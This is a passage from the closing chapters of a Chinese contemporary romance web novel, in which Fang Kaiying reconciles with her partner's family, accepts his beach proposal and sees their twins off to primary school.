甄宝珠眼前掠过一丝疑惑,好像方楷杰这个人,她也不太熟悉了,咬住手指仔细回想一番也没想起来,最后还是她身边的精英丈夫淡声提醒:“忘了你写的《校草恋爱笔记》?” 甄宝珠这才脸红,胳膊肘怼了一下抱孩子的丈夫,又羞又恼道:“你当着嫂子的面说这个干嘛?” 方楷莹:“” 看吧,爱情有时候就是这么不公平。 方楷莹知道问这一句不合适,却还是要问甄宝珠:“你当时真的喜欢我弟弟吗?” 这话一出口,甄宝珠和她的精英丈夫都怔了一下,之后她的丈夫很识趣地抱着女儿走开,留给她们互相交谈的空间,而甄宝珠对她的女儿恋恋不舍,又做鬼脸又挥手。 扭头认真想了一会儿,她坦诚道:“当时肯定是喜欢的呀,我怎么会和不喜欢的人在一起呢?但那时候我们才十几岁,就算不出国,也不会和他长久,后来不喜欢他的原因主要是他太听话了,我喜欢坏男人。” 甄宝珠娇俏地笑笑,抬起下巴向不远处她的丈夫眨眼传情,柔柔的眸光中依然是小女生的欣喜。 坏男人… 方楷莹的目光暗自朝着甄世明的方向靠过去- 派对过半时,苏秀女士主动走到方楷莹面前,邀请她上楼去书房单独谈谈。 楼上有一间大书房,是独属于苏秀的,浪漫优雅的装修风格尽显情调,她稳坐木椅,姿态依然优雅。 只是眼神中少了几年前的锋锐,多了几分长辈的仁慈,也许是因为如今真的上了年岁,也许是因为甄世明现在是甄家的顶梁柱。 她和方楷莹互相打量。 方楷莹的容貌也没什么变化,比以前怀孕时更瘦些,不是一眼惊艳的美貌,但脸庞清秀白净,眼神依然清灵澄澈,姿态更比从前淡然从容。 “这几年过得怎么样?” 依旧是苏秀女士的友好开场。 方楷莹不卑不亢地坐在书桌对面,微笑着简答:“还好。” 甄母点点头,深深叹息一声,似是最终妥协:“我这几年过得不好,世明没少和我对着干,我的这几个孩子没一个省心,倒是橙橙和芯芯给我不少安慰。” 方楷莹沉默不语。 她的孩子没有继承她的病,也没有继承甄世明暴躁的性格,他们好像是天生会爱人的小孩儿。 “我有时候也会想,当初是不是做错了?听说你在国外学业有成,前段时间还参与了军方的项目,当然,这些都是甄真和我说的,她总是想向我证明我错了,想让我后悔” “那您后悔了吗?”方楷莹忽然问。 苏秀的表情变得很有意思,先是惊讶于方楷莹的突如其来的问题,后又垂眸笑笑。 “我不后悔。你现在也当妈妈了,应该可以理解我当时的顾虑。只是我比以前更欣赏你,其实从你向我要推荐信时我对你就有所改观,明明你可以要一大笔钱,从此过荣华富贵的生活” “我当时很需要推荐信。”方楷莹说。 “你走后很长一段时间,世明都心里有气,把责任归结于我,但我不认为我的阻力是导致你们分开的主要原因,你觉得呢?” 方楷莹也没想到苏秀真的分析过他们的关系和情感,现在还一针见血地说出来。 “是。”方楷莹坦然承认:“我们的感情本身就有问题,当时我们都很年轻” “这几年世明该担的责任都担下来了,有了孩子之后,做事也考虑得多了。” 苏秀的冷静有了一丝松动,她拿出支票本,说:“今天你能来我挺高兴的,属于我的那部分责任我也会承担,但我想了很久,想不到补偿你的方法,不如你说个数字,我填上去,你可以当做是我给儿媳妇的见面礼,也可以当做我的道歉礼物,好吗?” 方楷莹沉思片刻,说:“我今天来不是为了跟您要补偿的,我来甄家是因为在乎甄世明和孩子,希望和其他在乎橙橙芯芯的人认识一下。” “至于您说的定义模糊的支票,我也不会收的,我是甄橙和甄芯的母亲,也是甄世明的女朋友,这两个身份对我来说已经够了,我暂时没有成为‘甄家人’的想法。” 方楷莹讲话直白,虽然成为“甄家人”就如同披上身份光环,走到哪里都多了一张通行证,但方楷莹并不在意甚至觉得是负担,她只能做到关注自己的一亩三分地,并不想为门面光鲜的大家族锦上添花。 “我目前正在学习如何融入一个家庭,既然是学,就有学会和学不会两种可能性,听说您这几年总在国外,那么我现在可以接受的是,每年和您见一次面。” 苏秀优雅的脸上出现一丝裂缝,不敢置信地问道:“你这是…在和我谈判?” “对。”方楷莹说:“平时橙橙和芯芯可以由甄世明带回来,我最多可以接受过年时和您见面,当然,以后我会根据您的表现和我对甄家的感觉适当增加或者减少见面次数。” 苏秀哑然,真是觉得自己老了,竟然跟不上年轻人的想法,嘴唇颤了颤,依然不敢置信地问:“根据我的表现吗?” 这也太离谱了,谁家儿女的结婚对象不都得由长辈根据表现评判,怎么在方楷莹这儿就反过来了? 再看方楷莹,一脸认真耿直,不像开玩笑,也不是虚张声势,苏秀从那挑剔的眼神里,仿佛看到她那去世了好几年的婆婆。 造孽呀! 方楷莹不觉得有什么奇怪,人与人的交往是双向选择,她以往是不想理谁就会拒绝交谈的人,现在对她而言已经是走出社会化的一大步,她甚至为了这来之不易的进步感到骄傲呢! 苏秀大概会错了意,方楷莹眼中那不是挑剔,而是对自己进步的满意。 “我不擅长处理冲突,也希望孩子总是能感受到爱和善意,如果您对他们不好,我就会减少您和孩子见面的次数,所以只要您表现好一些,我们就可以一直保持友好的关系。”方楷莹十分陈恳地说。 苏秀张了张嘴,竟然什么话都说不出来,方楷莹的话都没说错,孩子能感受到爱和善意是大人共同的愿望。 “你真的是个很特别的人。” 苏秀无奈道- 那晚他们一家四口住在甄家,孩子下午在泳池游来游去,又在充气城堡里爬来跑去,把早上穿搭好的短裤磨破了。 方楷莹是在甄世明带孩子洗澡前才发现的,她要来针线,把爱马仕包包的挂件取下来,歪歪扭扭地去缝。 甄世明带着孩子从浴室出来,孩子们穿小裤衩,披着浴巾,甩了甩湿湿的头发,等着爸爸给吹头发。 甄世明却看到方楷莹在灯下缝衣服,走到她身边看看,说:“磨破就丢掉吧,小孩总磨破衣服,你从来没做过这些,别把手扎破了。” 方楷莹向来节俭,现在也不听他的,说:“新买的,丢掉可惜了。” 他无可奈何,只能一边担忧地关注着方楷莹缝补衣服,一边拿吹风机给孩子吹头发,一直顾着看她,吹风机温度太高也没发现,直到橙橙缩脖子躲,委屈巴巴地说:“爸爸,吹风机在咬我!” 他这才发现,方楷莹也抬起头看过来,甄世明抓了抓颈后,手指插进孩子的头发里查看有没有烫伤,又用凉风吹吹橙橙的脑袋瓜。 甄家有属于孩子的房间,甄世明把孩子洗干净后就送去房间哄睡,之后返回自己卧室,打开门,方楷莹笔直地站在环幕玻璃窗前,背影还像十七岁时那样。 他记得当时她就穿这样的衣服,简单的浅色牛仔裤,那时方楷莹的T恤是七分袖,大夏天把自己裹得严严实实,只露出一截稚白手臂,腕上戴一块没有品牌的手表。 他站在方楷莹身后,高大的身体包裹住她,手臂揽紧腰身,把下巴抵在窄窄的肩头,和她一起看着窗外一览无余的夜色。 “你在想什么?”他问。 方楷莹皱皱眉头,费解地问:“我在想,你妈为什么这次没有为难我?她之前很在意未婚先孕的事…” 甄世明唇边噙着笑意,说:“可能是因为…宝珠结婚的时候已经怀了三个月。” “嗯?!”她惊讶, 甄世明耸耸肩,“嗯。” 方楷莹把手轻轻覆在他的手臂,他圈紧方楷莹的腰,唇边笑意浅浅,问:“你知道我在想什么吗?我在想你第一次进我房间的时候。” “那个时候你就站在这个地方,太阳晒着你,你的头发比平时更黑。”他嗅了嗅她的头发,她一直都是长情的人,洗发水也从来没换过,发香还是多年前那一种。 他说:“你主动摘下手表,说送给我,哪有小姑娘随便送人礼物的,还是自己戴的手表,可能当时你就喜欢我吧。” 方楷莹闭了闭眼,折服于他的迷之自信,小声说:“真不要脸。” 甄世明在耳边哼笑,“还有更不要脸的。”他的手缓缓向上,在她耳边低声说:“你知不知道太阳照着你的时候,我能从你的T恤里看到腰的线条,还有胸的形状,那天晚上我就躺在这张床上,翻来覆去睡不着觉,在想我看到的你。” 方楷莹一下子脸红了,按住他的手臂,却没能阻挡他的动作。 “还想听吗?” 方楷莹抿唇摇头,甄世明亲了一下耳垂,她的心脏就颤抖不止,身体紧紧贴着玻璃,感受着微凉的触感,身后的高大躯体覆盖她、紧贴她。 “那就把我想过的都做一遍。” “好吗?阿莹。” 作者有话说:来迟了姐妹们,耽搁了…[求求你了]《 》 第72章(正文完) 第72章 她想, 甄世明一定是疯了。 他好像真把她当成十七岁的方楷莹,而他也变回二十岁的甄世明。 霸道、蛮横、予取予夺。 滚烫的双唇压紧她,在唇齿之间磕撞, 仿佛要剥夺掉空气和唾液, 他不讲技巧,全凭一股莽劲儿, 就让方楷莹难以忍耐, 眼尾挂泪。 “你轻点儿”她小声地呢喃,拼命抑住声音。 恶劣的人咬住耳垂,任呼吸如炽风, 汗液如热雨, “我不是早告诉过你了吗?我的房间隔音很好, 对你做什么过分的事都不会有人听到。”他掐住方楷莹的下巴,无耻地重复年轻时的问题:“怕不怕?” 她的眼眸又透出倔劲儿, 迎上他的目光,双手搂住甄世明的脖颈, 这次她说:“不怕。”- 怎么会有如此强悍的体力? 她这一天从早到晚累到脱力, 甄世明白天时刻紧盯孩子,晚上还能折腾到半夜, 甚至在她爬不起床懒得去重新洗澡时, 把她抱起来走进浴室。 她还记得在浴室洗过之后, 终于跌在床上,身边的人需要after care的时候, 她迷迷糊糊说了句“你真适合当家长”, 就直接昏睡过去。 甄世明看看她的睡颜,把薄被搭在她身上,手掌握住一寸冰凉手臂, 想起自己二十岁时见到方楷莹后最常想的问题。 身上这么凉,搂着睡觉一定很舒服吧?- 第二天离开甄家之后,方楷莹鼓起勇气给方楷杰打了一通电话,她不知道方楷杰现在在哪里,电话一接通,倒先听到象群的叫声,双方都在电话里沉默两分钟,静静听着象群的声音。 “这是象群在迁徙。” 方楷杰的声音沉稳,在悠悠天地间显得很开阔。自从母亲去世之后,他就带着对方楷莹的怨恨出了国,决意找到甄宝珠,向她要个答案。 虽然没找到人,但偶然的机会下救了一只流浪狗,接触到动物保护协会,追寻爱情的脚步逐渐偏移,转到追寻动物的足迹上去,失恋的心情被大自然治愈,渐渐也就放下执念。 “真好。”方楷莹说。 电话那头信号不好,总有滋滋啦啦的电流声,方楷杰的声音也断断续续,方楷莹不确定他能不能听清自己说话,把每一句话都说得很慢。 “我回国了。” “我知道,有在关注国内的动态。” “我和甄世明重新在一起了。” “应该的…你们有两个孩子。” “前几天我见到甄宝珠了,她已经结婚了,有一个女儿,那天我对她问了你的问题,她说她喜欢过你。”方楷莹没有说后面的话,希望能让方楷杰把初恋的美好记忆存留下。 方楷杰很久没说话,方楷莹还以为信号不好,“喂”了几声,他才说:“这么多年过去了,没想到你还记得啊,我都快忘了” 怎么能不记得呢?他是方楷莹的弟弟、是亲人、是她惦念的人。 只是他们已经很久没通过电话,对彼此的生活生疏到不知该聊什么,方楷莹嘱咐一句:“那你在外面注意安全。” 电话即将挂断,方楷杰忽然又叫她“姐”,对她说:“一会儿给我发几张最近的照片吧,我想看看你,还有你的孩子。” 方楷莹抿起唇,还是用力点点头。 即便方楷杰看不到。 挂断电话,她把橙橙和芯芯参加文艺汇演的视频发给方楷杰,又给他发了好多她和孩子们的生活照,坐摩天轮的,在雪地里的… 等了一会儿,等来方楷杰回复。 【下次回国我想见见他们。】 【刚才忘和你说,我在动物保护协会认识一个女孩,下次回国她也会陪我去见你和我姐夫】 方楷莹的眼泪莫名其妙掉在手机屏幕上,甄世明歪着头偷窥,并递上一张纸巾,方楷莹捂好屏幕,他揉乱脑袋说她小气,悻悻走开。 方楷莹回复一个字:【好】- 甄橙甄芯上小学前的暑假,他们一家四口自驾游。 出发时后备箱里装满了孩子的东西,芯芯把各种魔方塞进小书包里,橙橙也要把自己的小画板放进后备箱,方楷莹和甄世明什么都没带,只带了彼此。 从北向南,一路走走停停。 方楷莹和甄世明换着开车,她现在既享受坐在副驾驶让风吹乱头发的感觉,又享受坐主驾驶掌控方向盘的感觉,两个小孩子坐在后排,一路问了许多奇怪又天真的问题,关于山、关于海、关于云和日月。 一整个假期,他们都在外地,走到哪里算哪里,下雨的时候就在服务区看雨,也偶遇自驾游车队,跟着找到绿水青山的好风景,有时住酒店有时住帐篷,心情好就一切随性。 往南的最后一站是南城,也就是方楷莹的家乡。 方楷莹大概有十几年没回来过,家乡的变化也是天翻地覆。曾经住的旧房子早就被妈妈卖掉,现在竟连那栋老楼都被拆掉,她找到旧地址,鼓起腮帮仰望着CBD新盖的高楼大厦,牵着孩子的小手,对他们介绍:“这就是我以前的家” “妈妈,”橙橙挠挠头,费解地问道:“你小时候是住公司里呀?” 方楷莹:“” 她又带孩子们去她以前读过书的学校,结果是暑假期间,闲杂人等莫入,最后只能去她小时候最常去的那片海。 万幸万幸,海没填上。 在大人眼中,这海和所有海都一样,甚至海水不怎么蓝,沙滩不怎么软,乌云盖日的天气也不怎么好,但在孩子眼中,这就是一块宝地。 橙橙和芯芯兴奋地提桶去捡石头,在海与沙的交界伸出小脚,在海浪打过来的时候又迅速收回,甄世明的衬衫被海风吹鼓,方楷莹的头发被海风吹乱。 他们手牵手走在沙滩上,说起她的小时候,方楷莹变得话多。那时她家里经济条件不好,去游乐园需要钱,妈妈就经常把她和弟弟领到这儿来,她弟弟和橙橙芯芯一样兴奋,她就坐在沙滩上,呆呆看着海。 那个时候她对快乐没什么感觉,但现在她能感觉到小小的幸福。 她把这小小的幸福感分享给甄世明,他忽然停住脚步,变魔术似的摊开手掌,一枚戒指躺在他的手心。 甄世明难得紧张一回,明明戒指是提前定做好的,求婚的计划是在出发时就制定好的,现在站在方楷莹面前却像是在胡言乱语。 “方楷莹,你是个既要又要的女人” 方楷莹:“?” “不、我是说,在我心里这不是一个贬义词,我知道你既想要爱,又想要自由,这本来并不冲突,是我把爱和自由变成了复杂的选择题。” “现在我知道了,以后我把爱都给你,也让你能够一直感觉自由。” “我不但把爱给你,我还把钱给你,我想让你感觉更幸福,感觉和我结婚不吃亏,我很有钱,你不会再是去不起游乐园的穷小孩,我长得也还行,挺赏心悦目的,性能力——” 方楷莹立刻去捂他的嘴,脸皱在一起哭笑不得,“你知不知道你在说什么?” 甄世明抓住她的手腕,把手拉到自己面前,随时准备戴上戒指,郑重地说:“方楷莹,我想和你结婚。” 方楷莹转转眼珠,故意问道:“我怎么记得你现在奉行不婚主义来着?” 甄世明脸色微变,理不直气也壮,道:“嗯,不是方楷莹不结婚主义,简称‘不婚主义’。” 方楷莹乐不可支,把脸低下,笑出声。 “你能不能严肃点儿,我正求婚呢”甄世明真服了她,平时一张冷淡脸庞,一到不该笑的时候就失去情绪管理,在那乱笑,“我刚才说哪儿了?哦对,性能力——” “我愿意。” “我没说完呢,你等会儿再愿意,正说到最重要的部分了”甄世明求婚求得忘了情,忽然顿住,嘴唇缓动,难以置信地问:“你愿意?” 方楷莹对他笑,天空忽然放晴。 她说:“我想了很久,想要拥有孩子的抚养权有两种方法,一是暗杀了你,二是和你结婚。我爱你,舍不得你死,所以我愿意和你结婚。” 那枚戒指圈住她的手指,戒圈正合适,窄版的黄金戒托镶嵌一块冷润的羊脂白玉,椭圆形的白玉恰好覆盖指节,不显得大而累赘,低调又有质感,很符合她的气质。 甄世明捏住她的手指,看了很久,忽然说:“我以后不再叫你萤火虫了,你不是小虫子,你跟我说过自己的名字是如玉的美石,我以后叫你方美石。” 此人正经不过三秒,方楷莹抬脚踹他,却被他扯进怀里紧紧拥住。 脚下是翻腾的海浪,太阳把心情照得透亮,不远处孩子嬉笑,她感受着爱人的拥抱。 这一切都那么美好- 九月份,为了孩子们上小学的第一天,方楷莹特意请了一上午假。 早上她叫两个孩子起床,甄世明在厨房做早餐,她看着孩子们洗漱,甄世明检查新书包里的文具。 橙橙和芯芯吃过早餐后,背上一模一样的新书包,一左一右牵着妈妈的手下楼,爸爸的车在楼下等着。 方楷莹和甄世明把孩子送到学校门口。他是想一直送到教室的,却被拦在门外,只能站在学校门口,看着背新书包的小学生走进新的校园,橙橙和芯芯手拉着手往前走,也是一步三回头。 方楷莹发现孩子们又长高了些,莫名有些伤感,也许父母是注定要比孩子看到更多背影的。 所幸的是她身边还有一个人,她不用看他的背影,他也不用再看她的背影,因为他们始终并肩站在一起,手牵着手。 也许将来他们还会这样看着孩子上初中、上高中、上大学,然后逐渐离家,成为真正意义上的大人,拥有自己独立的生活,到时候她也许会退休、会和甄世明环游世界,或者宅在家里伺花养鱼。 而现在,方楷莹需要擦干甄世明不舍的眼泪,再笑着对他说一句。 “咱们回家吧。” (正文完)《 》